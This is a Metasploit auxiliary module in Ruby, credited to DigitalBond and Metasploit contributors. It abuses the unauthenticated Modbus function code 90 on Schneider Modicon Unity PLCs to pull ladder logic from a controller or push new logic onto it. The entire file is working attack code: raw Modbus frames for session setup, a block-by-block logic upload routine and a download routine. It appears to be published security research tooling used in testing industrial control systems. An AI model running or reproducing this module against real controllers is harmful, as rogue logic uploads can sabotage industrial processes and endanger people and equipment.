require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Schneider Modicon Ladder Logic Upload/Download',
			'Description'    => %q{
				The Schneider Modicon with Unity series of PLCs use Modbus function
				code 90 (0x5a) to send and receive ladder logic.  The protocol is
				unauthenticated, and allows a rogue host to retrieve the existing
				logic and to upload new logic.

				Two modes are supported: "SEND" and "RECV," which behave as one might
				expect -- use 'set mode ACTIONAME' to use either mode of operation.

				In either mode, FILENAME must be set to a valid path to an existing
				file (for SENDing) or a new file (for RECVing), and the directory must
				already exist.  The default, 'modicon_ladder.apx' is a blank
				ladder logic file which can be used for testing.

				This module is based on the original 'modiconstux.rb' Basecamp module from
				DigitalBond.
			},
			'Author'         =>
				[
					'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
					'todb' # Metasploit fixups
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
				],
			'Version'        => '$Revision$',
			'DisclosureDate' => 'Apr 5 2012'
			))

		register_options(
			[
				OptString.new('FILENAME',
					[
						true,
						"The file to send or receive",
						File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
					]),
				OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
					[
						"SEND",
						"RECV"
					]
				]),
				Opt::RPORT(502)
			], self.class)

	end

	def run
		unless valid_filename?
			print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
			return nil
		end
		@modbuscounter = 0x0000 # used for modbus frames
		connect
		init
		case datastore['MODE']
		when "SEND"
			writefile
		when "RECV"
			readfile
		end
	end

	def valid_filename?
		if datastore['MODE'] == "SEND"
			File.readable? datastore['FILENAME']
		else
			File.writable?(File.split(datastore['FILENAME'])[0].to_s)
		end
	end

	# this is used for building a Modbus frame
	# just prepends the payload with a modbus header
	def makeframe(packetdata)
		if packetdata.size > 255
			print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
			return
		end
		payload = ""
		payload += [@modbuscounter].pack("n")
		payload += "\x00\x00\x00" #dunno what these are
		payload += [packetdata.size].pack("c") # size byte
		payload += packetdata
	end

	# a wrapper just to be sure we increment the counter
	def sendframe(payload)
		sock.put(payload)
		@modbuscounter += 1
		# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
		r = sock.recv(65535, 0.1)
		return r
	end

	# This function sends some initialization requests
	# required for priming the Quantum
	def init
		payload = "\x00\x5a\x00\x02"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x01\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x03\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x03\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x01\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x0a\x00"
		(0..0xf9).each { |x| payload += [x].pack("c") }
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
		payload += "USER-714E74F21B" # Yep, really
		#payload += "META-SPLOITMETA"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x12"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x12"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x02"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
		sendframe(makeframe(payload))
	end

	# Write the contents of local file filename to the target's filenumber
	# blank logic files will be available on the Digital Bond website
	def writefile
		print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
		blocksize = 244	# bytes per block in file transfer
		buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
		fullblocks = buf.length / blocksize
		if fullblocks > 255
			print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
			return
		end
		lastblocksize = buf.length - (blocksize*fullblocks)
		fileblocks = fullblocks
		if lastblocksize != 0
			fileblocks += 1
		end
		filetype = buf[0..2]
		if filetype == "APX"
			filenum = "\x01"
		elsif filetype == "APB"
			filenum = "\x10"
		end
		payload = "\x00\x5a\x00\x03\x01"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x02"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x02"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x00\x02"
		sendframe(makeframe(payload))
		payload = "\x00\x5a\x01\x30\x00"
		payload += filenum
		response = sendframe(makeframe(payload))
		if response[8..9] == "\x01\xfe"
			print_status("#{rhost}:#{rport} - MODBUS - Write request success!  Writing file...")
		else
			print_error("#{rhost}:#{rport} - MODBUS - Write request error.  Aborting.")
			return
		end
		payload = "\x00\x5a\x01\x04"
		sendframe(makeframe(payload))
		block = 1
		block2status = 0 # block 2 must always be sent twice
		while block <= fullblocks
			payload = "\x00\x5a\x01\x31\x00"
			payload += filenum
			payload += [block].pack("c")
			payload += "\x00\xf4\x00"
			payload += buf[((block - 1) * 244)..((block * 244) - 1)]
			res = sendframe(makeframe(payload))
			vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
			if res[8..9] != "\x01\xfe"
				print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
				return
			end
			# redo this iteration of the loop if we're on block 2
			if block2status == 0 and block == 2
				print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
				block2status = 1
				redo
			end
			block += 1
		end
		if lastblocksize > 0
			payload = "\x00\x5a\x01\x31\x00"
			payload += filenum
			payload += [block].pack("c")
			payload += "\x00" + [lastblocksize].pack("c") + "\x00"
			payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
			vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
			res = sendframe(makeframe(payload))
			if res[8..9] != "\x01\xfe"
				print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
				return
			end
		end
		vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
		payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
		sendframe(makeframe(payload))
	end

	# Only reading the STL file is supported at the moment :(
	def readfile
		print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
		file = File.open(datastore['FILENAME'], 'wb')
		payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
		response = sendframe(makeframe(payload))
		print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
		block = 1
		filedata = ""
		finished = false
		while !finished
			payload = "\x00\x5a\x01\x34\x00\x01"
			payload += [block].pack("c")
			payload += "\x00"
			response = sendframe(makeframe(payload))
			filedata += response[0xe..-1]
			vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
			if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
				finished = true
			else
				block += 1
			end
		end
		print_status("#{rhost}:#{rport} - MODBUS - Closing file")
		payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
		sendframe(makeframe(payload))
		file.print filedata
		file.close
	end

	def cleanup
		disconnect rescue nil
	end

end